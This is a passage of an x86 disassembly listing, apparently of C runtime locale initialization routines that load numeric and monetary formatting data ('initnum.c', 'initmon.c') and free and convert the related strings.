		push	47h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 48h
		push	edx
		push	48h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 4Ch
		push	edx
		push	49h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 50h
		push	edx
		push	4Ah
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 54h
		push	edx
		push	4Bh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 58h
		push	edx
		push	4Ch
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 5Ch
		push	edx
		push	4Dh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 60h
		push	edx
		push	4Eh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 64h
		push	edx
		push	4Fh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 68h
		push	edx
		push	38h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 6Ch
		push	edx
		push	39h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 70h
		push	edx
		push	3Ah
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 74h
		push	edx
		push	3Bh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 78h
		push	edx
		push	3Ch
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 7Ch
		push	edx
		push	3Dh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 80h
		push	edx
		push	3Eh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 84h
		push	edx
		push	3Fh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 88h
		push	edx
		push	40h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 8Ch
		push	edx
		push	41h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 90h
		push	edx
		push	42h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 94h
		push	edx
		push	43h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 98h
		push	edx
		push	28h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 9Ch
		push	edx
		push	29h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 0A0h
		push	edx
		push	1Fh
		mov	eax, [ebp+var_8]
		push	eax
		push	1
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 0A4h
		push	edx
		push	20h
		mov	eax, [ebp+var_8]
		push	eax
		push	1
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 0A8h
		push	edx
		push	1003h
		mov	eax, [ebp+var_8]
		push	eax
		push	1
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+var_C]


loc_430E0B:				; CODE XREF: sub_430880+2Dj
		mov	esp, ebp
		pop	ebp
		retn
sub_430880	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430E10	proc near		; CODE XREF: sub_4307A0+50p
					; sub_4307A0+7Cp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 0
		jnz	short loc_430E1E
		jmp	loc_431119
; ---------------------------------------------------------------------------


loc_430E1E:				; CODE XREF: sub_430E10+7j
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		push	ecx
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		push	eax
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		push	edx
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+10h]
		push	ecx
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+14h]
		push	eax
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+18h]
		push	edx
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	ecx
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+20h]
		push	eax
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+24h]
		push	edx
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+28h]
		push	ecx
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+2Ch]
		push	eax
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+30h]
		push	edx
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+34h]
		push	ecx
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		push	eax
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+38h]
		push	edx
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+3Ch]
		push	ecx
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+40h]
		push	eax
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+44h]
		push	edx
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+48h]
		push	ecx
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4Ch]
		push	eax
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+50h]
		push	edx
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+54h]
		push	ecx
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+58h]
		push	eax
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+5Ch]
		push	edx
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+60h]
		push	ecx
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+64h]
		push	eax
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+68h]
		push	edx
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+6Ch]
		push	ecx
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+70h]
		push	eax
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+74h]
		push	edx
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+78h]
		push	ecx
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+7Ch]
		push	eax
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+80h]
		push	edx
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+84h]
		push	ecx
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+88h]
		push	eax
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8Ch]
		push	edx
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+90h]
		push	ecx
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+94h]
		push	eax
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+98h]
		push	edx
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+9Ch]
		push	ecx
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+0A0h]
		push	eax
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0A4h]
		push	edx
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+0A8h]
		push	ecx
		call	sub_41B8F0
		add	esp, 8


loc_431119:				; CODE XREF: sub_430E10+9j
		pop	ebp
		retn
sub_430E10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431120	proc near		; DATA XREF: seg002:00450568o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], 0
		xor	eax, eax
		mov	ax, ds:word_4EECB6
		mov	[ebp+var_4], eax
		cmp	ds:dword_4EEA78, 0
		jz	loc_43129A
		push	offset dword_4EEC84
		push	0Eh
		mov	ecx, [ebp+var_4]
		push	ecx
		push	1
		call	sub_435830
		add	esp, 10h
		mov	edx, [ebp+var_8]
		or	edx, eax
		mov	[ebp+var_8], edx
		push	offset dword_4EEC88
		push	0Fh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		push	offset dword_4EEC8C
		push	10h
		mov	edx, [ebp+var_4]
		push	edx
		push	1
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, ds:dword_4EEC8C
		push	edx
		call	sub_4313D0
		add	esp, 4
		cmp	[ebp+var_8], 0
		jz	short loc_431209
		push	2
		mov	eax, ds:dword_4EEC84
		push	eax
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	ecx, ds:dword_4EEC88
		push	ecx
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	edx, ds:dword_4EEC8C
		push	edx
		call	sub_41B8F0
		add	esp, 8
		mov	ds:dword_4EEC84, 0
		mov	ds:dword_4EEC88, 0
		mov	ds:dword_4EEC8C, 0
		or	eax, 0FFFFFFFFh
		jmp	loc_4313C2
; ---------------------------------------------------------------------------


loc_431209:				; CODE XREF: sub_431120+8Fj
		mov	eax, ds:off_451048
		cmp	dword ptr [eax], offset	dword_451010
		jz	short loc_431250
		push	2
		mov	ecx, ds:off_451048
		mov	edx, [ecx]
		push	edx
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	eax, ds:off_451048
		mov	ecx, [eax+4]
		push	ecx
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	edx, ds:off_451048
		mov	eax, [edx+8]
		push	eax
		call	sub_41B8F0
		add	esp, 8


loc_431250:				; CODE XREF: sub_431120+F4j
		mov	ecx, ds:off_451048
		mov	edx, ds:dword_4EEC84
		mov	[ecx], edx
		mov	eax, ds:off_451048
		mov	ecx, ds:dword_4EEC88
		mov	[eax+4], ecx
		mov	edx, ds:off_451048
		mov	eax, ds:dword_4EEC8C
		mov	[edx+8], eax
		mov	ecx, ds:off_451048
		mov	edx, [ecx]
		mov	al, [edx]
		mov	ds:byte_44FD24,	al
		mov	ds:dword_44FD28, 1
		xor	eax, eax
		jmp	loc_4313C2
; ---------------------------------------------------------------------------


loc_43129A:				; CODE XREF: sub_431120+1Fj
		push	2
		mov	ecx, ds:dword_4EEC84
		push	ecx
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	edx, ds:dword_4EEC88
		push	edx
		call	sub_41B8F0
		add	esp, 8
		push	2
		mov	eax, ds:dword_4EEC8C
		push	eax
		call	sub_41B8F0
		add	esp, 8
		mov	ds:dword_4EEC84, 0
		mov	ds:dword_4EEC88, 0
		mov	ds:dword_4EEC8C, 0
		push	88h
		push	offset aInitnum_c ; "initnum.c"
		push	2
		push	2
		call	sub_41AE60
		add	esp, 10h
		mov	ecx, ds:off_451048
		mov	[ecx], eax
		mov	edx, ds:off_451048
		cmp	dword ptr [edx], 0
		jnz	short loc_43131B
		or	eax, 0FFFFFFFFh
		jmp	loc_4313C2
; ---------------------------------------------------------------------------


loc_43131B:				; CODE XREF: sub_431120+1F1j
		push	offset a__2	; "."
		mov	eax, ds:off_451048
		mov	ecx, [eax]
		push	ecx
		call	sub_41E550
		add	esp, 8
		push	8Dh
		push	offset aInitnum_c ; "initnum.c"
		push	2
		push	2
		call	sub_41AE60
		add	esp, 10h
		mov	edx, ds:off_451048
		mov	[edx+4], eax
		mov	eax, ds:off_451048
		cmp	dword ptr [eax+4], 0
		jnz	short loc_43135F
		or	eax, 0FFFFFFFFh
		jmp	short loc_4313C2
; ---------------------------------------------------------------------------


loc_43135F:				; CODE XREF: sub_431120+238j
		mov	ecx, ds:off_451048
		mov	edx, [ecx+4]
		mov	byte ptr [edx],	0
		push	92h
		push	offset aInitnum_c ; "initnum.c"
		push	2
		push	2
		call	sub_41AE60
		add	esp, 10h
		mov	ecx, ds:off_451048
		mov	[ecx+8], eax
		mov	edx, ds:off_451048
		cmp	dword ptr [edx+8], 0
		jnz	short loc_43139B
		or	eax, 0FFFFFFFFh
		jmp	short loc_4313C2
; ---------------------------------------------------------------------------


loc_43139B:				; CODE XREF: sub_431120+274j
		mov	eax, ds:off_451048
		mov	ecx, [eax+8]
		mov	byte ptr [ecx],	0
		mov	edx, ds:off_451048
		mov	eax, [edx]
		mov	cl, [eax]
		mov	ds:byte_44FD24,	cl
		mov	ds:dword_44FD28, 1
		xor	eax, eax


loc_4313C2:				; CODE XREF: sub_431120+E4j
					; sub_431120+175j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_431120	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4313D0	proc near		; CODE XREF: sub_431120+83p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx


loc_4313D4:				; CODE XREF: sub_4313D0:loc_431447j
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_431449
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx]
		cmp	eax, 30h
		jl	short loc_43140D
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 39h
		jg	short loc_43140D
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		sub	ecx, 30h
		mov	edx, [ebp+arg_0]
		mov	[edx], cl
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		jmp	short loc_431447
; ---------------------------------------------------------------------------


loc_43140D:				; CODE XREF: sub_4313D0+17j
					; sub_4313D0+22j
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 3Bh
		jnz	short loc_43143E
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_43141E:				; CODE XREF: sub_4313D0+6Aj
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_4]
		mov	al, [edx+1]
		mov	[ecx], al
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jnz	short loc_43141E
		jmp	short loc_431447
; ---------------------------------------------------------------------------


loc_43143E:				; CODE XREF: sub_4313D0+46j
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx


loc_431447:				; CODE XREF: sub_4313D0+3Bj
					; sub_4313D0+6Cj
		jmp	short loc_4313D4
; ---------------------------------------------------------------------------


loc_431449:				; CODE XREF: sub_4313D0+Cj
		mov	esp, ebp
		pop	ebp
		retn
sub_4313D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431450	proc near		; DATA XREF: seg002:0045055Co

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_4EEA74, 0
		jz	loc_43151C
		push	4Ah
		push	offset aInitmon_c ; "initmon.c"
		push	2
		push	30h
		push	1
		call	sub_41B270
		add	esp, 14h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_431489
		mov	eax, 1
		jmp	loc_43157C
; ---------------------------------------------------------------------------


loc_431489:				; CODE XREF: sub_431450+2Dj
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_431580
		add	esp, 4
		test	eax, eax
		jz	short loc_4314BD
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_431810
		add	esp, 4
		push	2
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_41B8F0
		add	esp, 8
		mov	eax, 1
		jmp	loc_43157C
; ---------------------------------------------------------------------------


loc_4314BD:				; CODE XREF: sub_431450+47j
		mov	eax, [ebp+var_4]
		mov	ecx, ds:off_451048
		mov	edx, [ecx]
		mov	[eax], edx
		mov	eax, [ebp+var_4]
		mov	ecx, ds:off_451048
		mov	edx, [ecx+4]
		mov	[eax+4], edx
		mov	eax, [ebp+var_4]
		mov	ecx, ds:off_451048
		mov	edx, [ecx+8]
		mov	[eax+8], edx
		mov	eax, [ebp+var_4]
		mov	ds:off_451048, eax
		mov	ecx, ds:dword_4EEC90
		push	ecx
		call	sub_431810
		add	esp, 4
		push	2
		mov	edx, ds:dword_4EEC90
		push	edx
		call	sub_41B8F0
		add	esp, 8
		mov	eax, [ebp+var_4]
		mov	ds:dword_4EEC90, eax
		xor	eax, eax
		jmp	short loc_43157C
; ---------------------------------------------------------------------------


loc_43151C:				; CODE XREF: sub_431450+Bj
		mov	ecx, ds:off_451048
		mov	edx, [ecx]
		mov	ds:off_451018, edx
		mov	eax, ds:off_451048
		mov	ecx, [eax+4]
		mov	ds:off_45101C, ecx
		mov	edx, ds:off_451048
		mov	eax, [edx+8]
		mov	ds:off_451020, eax
		mov	ds:off_451048, offset off_451018
		mov	ecx, ds:dword_4EEC90
		push	ecx
		call	sub_431810
		add	esp, 4
		push	2
		mov	edx, ds:dword_4EEC90
		push	edx
		call	sub_41B8F0
		add	esp, 8
		mov	ds:dword_4EEC90, 0
		xor	eax, eax


loc_43157C:				; CODE XREF: sub_431450+34j
					; sub_431450+68j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_431450	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431580	proc near		; CODE XREF: sub_431450+3Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], 0
		xor	eax, eax
		mov	ax, ds:word_4EECB0
		mov	[ebp+var_4], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_4315A6
		or	eax, 0FFFFFFFFh
		jmp	loc_431789
; ---------------------------------------------------------------------------


loc_4315A6:				; CODE XREF: sub_431580+1Cj
		mov	ecx, [ebp+arg_0]
		add	ecx, 0Ch
		push	ecx
		push	15h
		mov	edx, [ebp+var_4]
		push	edx
		push	1
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 10h
		push	edx
		push	14h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 14h
		push	edx
		push	16h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 18h
		push	edx
		push	17h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 1Ch
		push	edx
		push	18h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		push	eax
		call	sub_431790
		add	esp, 4
		mov	ecx, [ebp+arg_0]
		add	ecx, 20h
		push	ecx
		push	50h
		mov	edx, [ebp+var_4]
		push	edx
		push	1
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 24h
		push	edx
		push	51h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 28h
		push	edx
		push	1Ah
		mov	eax, [ebp+var_4]
		push	eax
		push	0
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 29h
		push	edx
		push	19h
		mov	eax, [ebp+var_4]
		push	eax
		push	0
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 2Ah
		push	edx
		push	54h
		mov	eax, [ebp+var_4]
		push	eax
		push	0
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 2Bh
		push	edx
		push	55h
		mov	eax, [ebp+var_4]
		push	eax
		push	0
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 2Ch
		push	edx
		push	56h
		mov	eax, [ebp+var_4]
		push	eax
		push	0
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 2Dh
		push	edx
		push	57h
		mov	eax, [ebp+var_4]
		push	eax
		push	0
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 2Eh
		push	edx
		push	52h
		mov	eax, [ebp+var_4]
		push	eax
		push	0
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 2Fh
		push	edx
		push	53h
		mov	eax, [ebp+var_4]
		push	eax
		push	0
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+var_8]


loc_431789:				; CODE XREF: sub_431580+21j
		mov	esp, ebp
		pop	ebp
		retn
sub_431580	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431790	proc near		; CODE XREF: sub_431580+C8p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx


loc_431794:				; CODE XREF: sub_431790:loc_431807j
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_431809
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx]
		cmp	eax, 30h
		jl	short loc_4317CD
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 39h
		jg	short loc_4317CD
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		sub	ecx, 30h
		mov	edx, [ebp+arg_0]
		mov	[edx], cl
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		jmp	short loc_431807
; ---------------------------------------------------------------------------


loc_4317CD:				; CODE XREF: sub_431790+17j
					; sub_431790+22j
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 3Bh
		jnz	short loc_4317FE
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_4317DE:				; CODE XREF: sub_431790+6Aj
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_4]
		mov	al, [edx+1]
		mov	[ecx], al
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jnz	short loc_4317DE
		jmp	short loc_431807
; ---------------------------------------------------------------------------


loc_4317FE:				; CODE XREF: sub_431790+46j
